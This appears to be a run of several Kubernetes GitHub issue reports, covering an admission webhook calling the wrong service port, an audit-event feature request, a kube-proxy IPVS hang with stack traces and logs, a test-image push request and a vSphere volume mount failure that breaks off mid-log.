\\\r   --client-ca-file=/etc/kubernetes/pki/ca.pem \\\r   --kubelet-preferred-address-types=internalip,externalip,hostname \\\r   --kubelet-https=true \\\r   --kubelet-certificate-authority=/etc/kubernetes/pki/ca.pem \\\r   --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client-key.pem \\\r   --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.pem \\\r   --enable-bootstrap-token-auth=true \\\r   --token-auth-file=/etc/kubernetes/token.csv \\\r   --event-ttl=1h \\\r   --v=2\r    \r \r    bash\r $ kubectl get node -o wide | grep -i \ master\ \r k8s-master-1   ready      master    6d        v1.8.2    <none>        centos linux 7  core    3.10.0-514.26.2.el7.x86_64   docker://1.12.6\r k8s-master-2   ready      master    6d        v1.8.2    <none>        centos linux 7  core    3.10.0-514.26.2.el7.x86_64   docker://1.12.6\r k8s-master-3   notready   master    6d        v1.8.2    <none>        centos linux 7  core    3.10.0-514.26.2.el7.x86_64   docker://1.12.6\r    \r \r    bash\r $ kubectl describe svc kubernetes | grep -i \ endpoints\ \r endpoints:         172.72.4.11:6443,172.72.4.12:6443,172.72.4.13:6443\r

what happened  :\r \r deployed a webhook backend and service as follows:\r   please note that there is only 8443 port on the service.   \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: webhook\r   name: webhook\r   namespace: kube-system\r spec:\r   template:\r     metadata:\r       labels:\r         run: webhook\r     spec:\r       containers:\r       - args:\r         - --tls-cert-file=/webhook.local.config/certificates/tls.crt\r         - --tls-private-key-file=/webhook.local.config/certificates/tls.key\r         - --alsologtostderr\r         - -v=4\r         - 2>&1\r         image: xxxxxxxxxxxxxxxxxxxxxxxxxxx\r         imagepullpolicy: always\r         name: webhook\r         volumemounts:\r         - mountpath: /webhook.local.config/certificates\r           name: webhook-certs\r           readonly: true\r       volumes:\r       - name: webhook-certs\r         secret:\r           defaultmode: 420\r           secretname: webhook-secret\r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: webhook\r   name: webhook-service\r   namespace: kube-system\r spec:\r   ports:\r     - port: 8443\r       protocol: tcp\r       targetport: 8443\r   selector:\r     run: \ webhook\ \r \r    \r \r register the webhook as follows:\r    \r {  \r    \ metadata\ :{  \r       \ name\ :\ webhook-config\ ,\r       \ selflink\ :\ /apis/admissionregistration.k8s.io/v1beta1/mutatingwebhookconfigurations/webhook-config\ ,\r       \ uid\ :\ d0ea605f-2d68-11e8-a2a7-42010a280002\ ,\r       \ resourceversion\ :\ 867428\ ,\r       \ generation\ :1,\r       \ creationtimestamp\ :\ 2018-03-22t00:34:43z\ \r    },\r    \ webhooks\ :   \r       {  \r          \ name\ :\ adding-annotation.k8s.io\ ,\r          \ clientconfig\ :{  \r             \ service\ :{  \r                \ namespace\ :\ kube-system\ ,\r                \ name\ :\ webhook-service\ ,\r                \ path\ :\ /mutating-pods\ \r             },\r             \ cabundle\ :\ xxxxxxxxxxxxxxxxxxxx\ \r          },\r          \ rules\ :   \r             {  \r                \ operations\ :   \r                   \ create\ \r                 ,\r                \ apigroups\ :   \r                   \ \ \r                 ,\r                \ apiversions\ :   \r                   \ v1\ \r                 ,\r                \ resources\ :   \r                   \ pods\ \r                 \r             }\r           ,\r          \ failurepolicy\ :\ fail\ ,\r          \ namespaceselector\ :{  \r \r          }\r       }\r     \r }\r    \r \r got the following error when creating pods:\r    \r error creating: internal error occurred: failed calling admission webhook \ adding-annotation.k8s.io\ : post https://webhook-service.kube-system.svc:443/mutating-pods?timeout=30s: no service port \ 443\  found for service \ webhook-service\ \r    \r \r   what you expected to happen  :\r based on https://github.com/kubernetes/api/blob/master/admissionregistration/v1beta1/types.go l257,  https://webhook-service.kube-system.svc:8443/mutating-pods  should be called. not the 443 port shown in the error message.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r just deploy the same setup and register webhook. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.97+2bbae9ab581bf6-dirty\ , gitcommit:\ 2bbae9ab581bf6fc0fb491136c42673c745c190d\ , gittreestate:\ dirty\ , builddate:\ 2018-01-22t20:00:24z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.470+890bd2174cf566\ , gitcommit:\ 890bd2174cf566e663c9cc0768799f7a94dbf6f0\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t19:36:42z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  : cos\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r the advanced audit feature has become v1beta1 version now. it's a reasonable feature request for a cluster admin to distribute audit events to tenants.\r \r i have implement a  add-on  https://github.com/caoshufeng/k8s-audit-collector  to support this feature. but the community has  expressed some disagreement because it exposes the service account to the third party.\r ref:\r https://docs.google.com/document/d/1wolgroone3ebvx-wtb4pvp4ci7tmlz6ls26vtboslkm/edit heading=h.5ejmrg6cqbd3\r \r this issue is addressed to ask for some good suggestions from community.\r \r /cc @crassirostris @tallclair @hzxuzhonghu @sttts @soltysh @ericchiang

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : upgraded from v1.11.0 to v1.12.2, now kube-proxy hangs, usually in less than a day\r \r   what you expected to happen  : it should continue working\r \r   how to reproduce it  as minimally and precisely as possible   :  just have a normal kube-proxy running in ipvs mode.  it gets stuck usually in less than a day.\r \r   anything else we need to know?  :\r \r i've sent sigabrt to the kube-proxy process to get a stack trace, and the only thing interesting is that when the bug happens goroutine 1 is reading from netlink, whereas when i send sigabrt and the process is not stuck it is not reading from netlink.\r \r    \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : goroutine 1  syscall :\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : syscall.syscall6 0x2d, 0x3, 0xc42081c000, 0x1000, 0x0, 0xc42083deb0, 0xc42083dea4, 0x40fb86, 0x7f2ab9788aa8, 0x0 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /usr/local/go/src/syscall/asm_linux_amd64.s:44 +0x5\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : syscall.recvfrom 0x3, 0xc42081c000, 0x1000, 0x1000, 0x0, 0xc42083deb0, 0xc42083dea4, 0x101ffffffffffff, 0x0, 0x1000 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /usr/local/go/src/syscall/zsyscall_linux_amd64.go:1665 +0xa6\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : syscall.recvfrom 0x3, 0xc42081c000, 0x1000, 0x1000, 0x0, 0x1000, 0x0, 0x0, 0x16ad4c0, 0x1f4d508 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /usr/local/go/src/syscall/syscall_unix.go:252 +0xaf\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/vishvananda/netlink/nl.  netlinksocket .receive 0xc4204d3440, 0x0, 0x0, 0x0, 0x16ad4c0, 0x1f4d508 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vishvananda/netlink/nl/nl_linux.go:613 +0x9b\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs.execute 0xc4204d3440, 0xc42083e150, 0x0, 0x1, 0x2, 0xc420423740, 0x1, 0x2 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs/netlink.go:219 +0xd3\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs.  handle .docmdwithresponse 0xc420573990, 0xc420990750, 0x0, 0xc42003d501, 0xa, 0x10, 0xc420990701, 0xc42083e230, 0x118dd6b \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs/netlink.go:140 +0x20b\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs.  handle .docmd 0xc420573990, 0xc420990750, 0x0, 0x1, 0x60000020fc6e0, 0xc420990750 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs/netlink.go:149 +0x48\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs.  handle .newservice 0xc420573990, 0xc420990750, 0x0, 0x0 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/docker/libnetwork/ipvs/ipvs.go:117 +0x43\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/util/ipvs.  runner .addvirtualserver 0xc42052a340, 0xc420b0e550, 0x1e, 0xc42083e3b8 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/ipvs/ipvs_linux.go:61 +0x60\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/proxy/ipvs.  proxier .syncservice 0xc4201b3e00, 0xc420d53620, 0x21, 0xc420b0e550, 0xc420357901, 0x5, 0xc420d53620 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:1454 +0x635\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/proxy/ipvs.  proxier .syncproxyrules 0xc4201b3e00 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:803 +0x1081\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/proxy/ipvs.  proxier . k8s.io/kubernetes/pkg/proxy/ipvs.syncproxyrules -fm  \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:395 +0x2a\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/util/async.  boundedfrequencyrunner .tryrun 0xc42042e3f0 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/async/bounded_frequency_runner.go:217 +0xb6\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/util/async.  boundedfrequencyrunner .loop 0xc42042e3f0, 0xc4200b0120 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/async/bounded_frequency_runner.go:179 +0x211\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/pkg/proxy/ipvs.  proxier .syncloop 0xc4201b3e00 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:589 +0x4e\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run 0xc4207f2000, 0xc4207f2000, 0x0 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:568 +0x3dd\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/cmd/kube-proxy/app.  options .run 0xc4201082c0, 0xc42063e230, 0x0 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:238 +0x69\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc4200f2500, 0xc42063e230, 0x0, 0x7 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:360 +0x156\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4200f2500, 0xc4200c4010, 0x7, 0x7, 0xc4200f2500, 0xc4200c4010 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4200f2500, 0xc4205dc090, 0x16076a0, 0xc4207a7ee8 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4200f2500, 0x1608b88, 0x20dcf40 \r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 :         /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r nov 15 11:42:05 hex-48b-pm kube-proxy 5389 : main.main  \r    \r \r the last lines that it logged were:\r \r    \r nov 15 07:48:52 hex-48b-pm kube-proxy 5389 : i1115 07:48:52.392942    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.241:4059/tcp/10.125.2.26:4059\r nov 15 07:48:52 hex-48b-pm kube-proxy 5389 : i1115 07:48:52.392952    5389 graceful_termination.go:160  trying to delete rs: 10.128.32.132:5432/tcp/10.125.2.13:6432\r nov 15 07:48:52 hex-48b-pm kube-proxy 5389 : e1115 07:48:52.392978    5389 graceful_termination.go:89  try delete rs \ 10.128.32.132:5432/tcp/10.125.2.13:6432\  err: failed to delete rs \ 10.128.32.132:5432/tcp/10.125.2.13:6432\ , can't \r find the real server\r nov 15 07:48:52 hex-48b-pm kube-proxy 5389 : i1115 07:48:52.392985    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.32.132:5432/tcp/10.125.2.13:6432\r nov 15 07:48:52 hex-48b-pm kube-proxy 5389 : e1115 07:48:52.392992    5389 graceful_termination.go:183  try flush graceful termination list err\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393147    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.156:8125/tcp/10.125.2.21:8125\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393260    5389 graceful_termination.go:89  try delete rs \ 10.128.33.156:8125/tcp/10.125.2.21:8125\  err: failed to delete rs \ 10.128.33.156:8125/tcp/10.125.2.21:8125\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393272    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.156:8125/tcp/10.125.2.21:8125\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393281    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.142:6379/tcp/10.125.6.13:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393310    5389 graceful_termination.go:89  try delete rs \ 10.128.33.142:6379/tcp/10.125.6.13:6379\  err: failed to delete rs \ 10.128.33.142:6379/tcp/10.125.6.13:6379\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393317    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.142:6379/tcp/10.125.6.13:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393327    5389 graceful_termination.go:160  trying to delete rs: 10.128.34.237:6379/tcp/10.125.6.11:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393355    5389 graceful_termination.go:89  try delete rs \ 10.128.34.237:6379/tcp/10.125.6.11:6379\  err: failed to delete rs \ 10.128.34.237:6379/tcp/10.125.6.11:6379\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393362    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.34.237:6379/tcp/10.125.6.11:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393371    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.200:5432/tcp/10.125.6.27:6432\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393397    5389 graceful_termination.go:89  try delete rs \ 10.128.33.200:5432/tcp/10.125.6.27:6432\  err: failed to delete rs \ 10.128.33.200:5432/tcp/10.125.6.27:6432\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393404    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.200:5432/tcp/10.125.6.27:6432\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393412    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.228:6379/tcp/10.125.2.63:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393440    5389 graceful_termination.go:89  try delete rs \ 10.128.33.228:6379/tcp/10.125.2.63:6379\  err: failed to delete rs \ 10.128.33.228:6379/tcp/10.125.2.63:6379\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393447    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.228:6379/tcp/10.125.2.63:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393455    5389 graceful_termination.go:160  trying to delete rs: 10.128.34.247:5672/tcp/10.125.2.6:5672\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393482    5389 graceful_termination.go:89  try delete rs \ 10.128.34.247:5672/tcp/10.125.2.6:5672\  err: failed to delete rs \ 10.128.34.247:5672/tcp/10.125.2.6:5672\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393489    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.34.247:5672/tcp/10.125.2.6:5672\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393497    5389 graceful_termination.go:160  trying to delete rs: 10.128.35.47:4007/tcp/10.125.2.15:4007\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393523    5389 graceful_termination.go:89  try delete rs \ 10.128.35.47:4007/tcp/10.125.2.15:4007\  err: failed to delete rs \ 10.128.35.47:4007/tcp/10.125.2.15:4007\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393530    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.35.47:4007/tcp/10.125.2.15:4007\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393538    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.241:4059/tcp/10.125.2.26:4059\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393563    5389 graceful_termination.go:89  try delete rs \ 10.128.33.241:4059/tcp/10.125.2.26:4059\  err: failed to delete rs \ 10.128.33.241:4059/tcp/10.125.2.26:4059\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393571    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.241:4059/tcp/10.125.2.26:4059\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393578    5389 graceful_termination.go:160  trying to delete rs: 10.128.32.132:5432/tcp/10.125.2.13:6432\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393605    5389 graceful_termination.go:89  try delete rs \ 10.128.32.132:5432/tcp/10.125.2.13:6432\  err: failed to delete rs \ 10.128.32.132:5432/tcp/10.125.2.13:6432\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393613    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.32.132:5432/tcp/10.125.2.13:6432\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393621    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.252:6379/tcp/10.125.6.26:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393648    5389 graceful_termination.go:89  try delete rs \ 10.128.33.252:6379/tcp/10.125.6.26:6379\  err: failed to delete rs \ 10.128.33.252:6379/tcp/10.125.6.26:6379\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393656    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.252:6379/tcp/10.125.6.26:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393664    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.237:6379/tcp/10.125.6.34:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393690    5389 graceful_termination.go:89  try delete rs \ 10.128.33.237:6379/tcp/10.125.6.34:6379\  err: failed to delete rs \ 10.128.33.237:6379/tcp/10.125.6.34:6379\ , can't find the real server\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : i1115 07:49:52.393697    5389 graceful_termination.go:93  lw: remote out of the list: 10.128.33.237:6379/tcp/10.125.6.34:6379\r nov 15 07:49:52 hex-48b-pm kube-proxy 5389 : e1115 07:49:52.393704    5389 graceful_termination.go:183  try flush graceful termination list err\r nov 15 07:50:52 hex-48b-pm kube-proxy 5389 : i1115 07:50:52.393838    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.156:8125/tcp/10.125.2.21:8125\r nov 15 07:50:52 hex-48b-pm kube-proxy 5389 : e1115 07:50:52.393940    5389 graceful_termination.go:89  try delete rs \ 10.128.33.156:8125/tcp/10.125.2.21:8125\  err: device or resource busy\r nov 15 07:50:52 hex-48b-pm kube-proxy 5389 : i1115 07:50:52.393957    5389 graceful_termination.go:160  trying to delete rs: 10.128.33.142:6379/tcp/10.125.6.13:6379\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420734    5389 proxier.go:1496  failed to list ipvs destinations, error: invalid argument\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420763    5389 proxier.go:809  failed to sync endpoint for service: 10.128.33.156:8125/tcp, err: invalid argument\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420889    5389 proxier.go:1485  failed to get ipvs service, error: expected only one service obtained=0\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420903    5389 proxier.go:809  failed to sync endpoint for service: 10.128.35.150:6379/tcp, err: expected only one service obtained=0\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420950    5389 proxier.go:1455  failed to add ipvs service \ monitoring/extradata-inserter:\ : file exists\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.420961    5389 proxier.go:812  failed to sync service: 10.128.34.54:80/tcp, err: file exists\r nov 15 07:51:22 hex-48b-pm kube-proxy 5389 : e1115 07:51:22.421886    5389 proxier.go:1544  failed to add destination: 10.125.27.66:80, error: file exists\r    \r \r if i restart kube-proxy  manually, ugh , it all recovers and works fine.  but it will get stuck again, eventually.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.2\r - cloud provider or hardware configuration: bare metal, 64 bit linux\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : 4.15.0-39-generic  but get it on the original 4.4 kernel as well \r - install tools: binary from https://storage.googleapis.com/kubernetes-release/release/v1.12.2/kubernetes-server-linux-amd64.tar.gz\r - others:\r \r <!-- do not edit below this line -->\r 

this pr https://github.com/kubernetes/kubernetes/pull/73194 solves execution issue in  gcr.io/kubernetes-e2e-test-images/pets/zookeeper-installer .\r \r please help to push new image  version 1.3  to gcr.io.\r dockerfile is  here  https://github.com/danielqsj/kubernetes/blob/master/test/images/pets/zookeeper-installer/dockerfile , makefile is  here  https://github.com/danielqsj/kubernetes/blob/master/test/images/pets/zookeeper-installer/makefile .\r \r /cc @dims\r /cc @thockin\r \r  

we are trying to configure vsphere cloud provider according to below support link for dynamic provisioning from vmware. there was  no problem with kubernetres version  v1.8, the issue appeared after deploying new kubernetes cluster with version 1.12.\r https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/existing.html\r \r   kubernetes version  \r  v1.12.7 \r \r   environment  \r  cluster:   master1,node1,node2 \r  virtualization:   vmware esxi, 6.5.0, 7388607 , each virtual machine node placed on different esxi host, diskuuid is true \r  network:   cisco apic, version 3.2 4e  \r \r \r   problem definition:  \r  storage class, pv, pvc successfull created and bounded, vmdk disk added to virtual machine successfully but node cannot mount this physical disk to virtual path of the pod, there are two different log not sure which one is right, first log mention _\ cloud provider not initialized\ _, if not how vmdk created and attached to virtual machine, second log mention _\ mount failed because not found the ...vmdk\ _ but i can browse from the vcenter mentioned vmdk is in the datastore\  \r \r \r <pre><code> root@kubemaster ~   kubectl get pods pvpod\r name    ready   status              restarts   age\r pvpod   0/1     containercreating   0          17h\r </code></pre>\r \r   kubectl descrice pod pvpod  \r \r <pre><code>\r  root@kubemaster vcp  \r  root@kubemaster vcp   kubectl describe pod pvpod\r name:               pvpod\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               kubenode2/10.1.1.12\r start time:         tue, 14 may 2019 12:52:18 +0300\r labels:             <none>\r annotations:        opflex.cisco.com/computed-endpoint-group: {\ policy-space\ :\ kubernetes\ ,\ name\ :\ kubernetes|kube-default\ }\r                     opflex.cisco.com/computed-security-group:   \r status:             pending\r ip:\r containers:\r   test-container:\r     container id:\r     image:          gcr.io/google_containers/test-webserver\r     image id:\r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /test-vmdk from test-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-pvf97  ro \r conditions:\r   type              status\r   initialized       true\r   ready             false\r   containersready   false\r   podscheduled      true\r volumes:\r   test-volume:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  pvcsc001\r     readonly:   false\r   default-token-pvf97:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-pvf97\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason       age    from                           message\r   ----     ------       ----   ----                           -------\r   normal   scheduled    8m22s  default-scheduler              successfully assigned default/pvpod to kubenode2\r   warning  failedmount  8m21s  kubelet, kubenode2  mountvolume.setup failed for volume \ pvc-eb27986d-762d-11e9-aff9-005056b068e3\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f63bb16e-762d-11e9-aff9-005056b068e3/volumes/kubernetes.io~vsphere-volume/pvc-eb27986d-762d-11e9-aff9-005056b068e3 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ kubedatastore  kubevols/kubernetes-dynamic-pvc-eb27986d-762d-11e9-aff9-005056b068e3.vmdk 